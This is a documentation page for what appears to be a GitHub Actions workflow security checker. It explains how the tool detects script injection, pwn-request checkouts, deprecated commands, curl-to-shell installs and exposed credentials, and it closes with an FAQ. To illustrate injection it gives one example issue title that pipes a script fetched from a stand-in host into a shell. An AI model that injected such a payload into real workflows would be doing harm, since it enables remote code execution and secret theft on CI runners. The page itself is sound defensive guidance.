What this checks
This looks for a different class of problem than a structural checker does — not "will this workflow run," but "should it run this way." The centerpiece check is script injection: a run: step that interpolates ${{ github.event.issue.title }} (or a PR title/body, comment body, commit message, or github.head_ref) directly into a shell script. All of those are text an issue or PR author fully controls, so a title like "; curl evil.sh | sh # doesn't just get echoed — it runs. The fix is always the same: pass the value through env: and reference it as a shell variable, which the shell never re-parses for special characters.
It also flags the "pwn request" pattern — a pull_request_target or workflow_run workflow (which runs with the base repo's secrets and write-level token) that explicitly checks out the pull request's own head ref, handing a fork's untrusted code those elevated privileges — along with deprecated/removed workflow commands (::set-output:: and ::save-state:: stopped working in 2023; ::set-env:: and ::add-path:: were deprecated earlier for a related injection vulnerability), a curl | bash-style remote script execution, hardcoded-looking credentials in env:/with: values, a missing permissions: block, and a missing timeout-minutes on a job.
What it doesn't do
This doesn't check whether a workflow is syntactically valid or will actually execute — for missing triggers, broken needs:/steps.<id>.outputs references, and structural errors, use GitHub Actions Validator. This also doesn't evaluate if: expressions or trace whether an interpolated value can actually be reached by an untrusted actor in your specific workflow — it flags the pattern itself, which is worth a second look even when a particular case turns out to be safe. And it only flags hardcoded literal credentials — for how a workflow's secrets.* references actually flow (which third-party actions receive them, whether they're echoed to logs), use GitHub Actions Secrets Checker.
FAQ
Isn't github.event.pull_request.title safe for a same-repo PR?
For a PR opened from a fork, the title is entirely attacker-chosen text, and pull_request workflows commonly run against forks. Even for trusted collaborators, treating it as untrusted costs nothing — the env: fix works identically either way and removes the question entirely.
Why is curl | bash only a warning?
It's an extremely common pattern for legitimate installer scripts (rustup, nvm, and many others ship one), so flagging it as broken would be wrong. It's flagged as a supply-chain risk worth being deliberate about, not a mistake.